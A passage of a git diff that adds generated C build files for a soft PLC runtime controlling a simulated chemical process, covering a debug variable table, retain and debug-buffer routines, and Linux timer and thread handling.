UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) 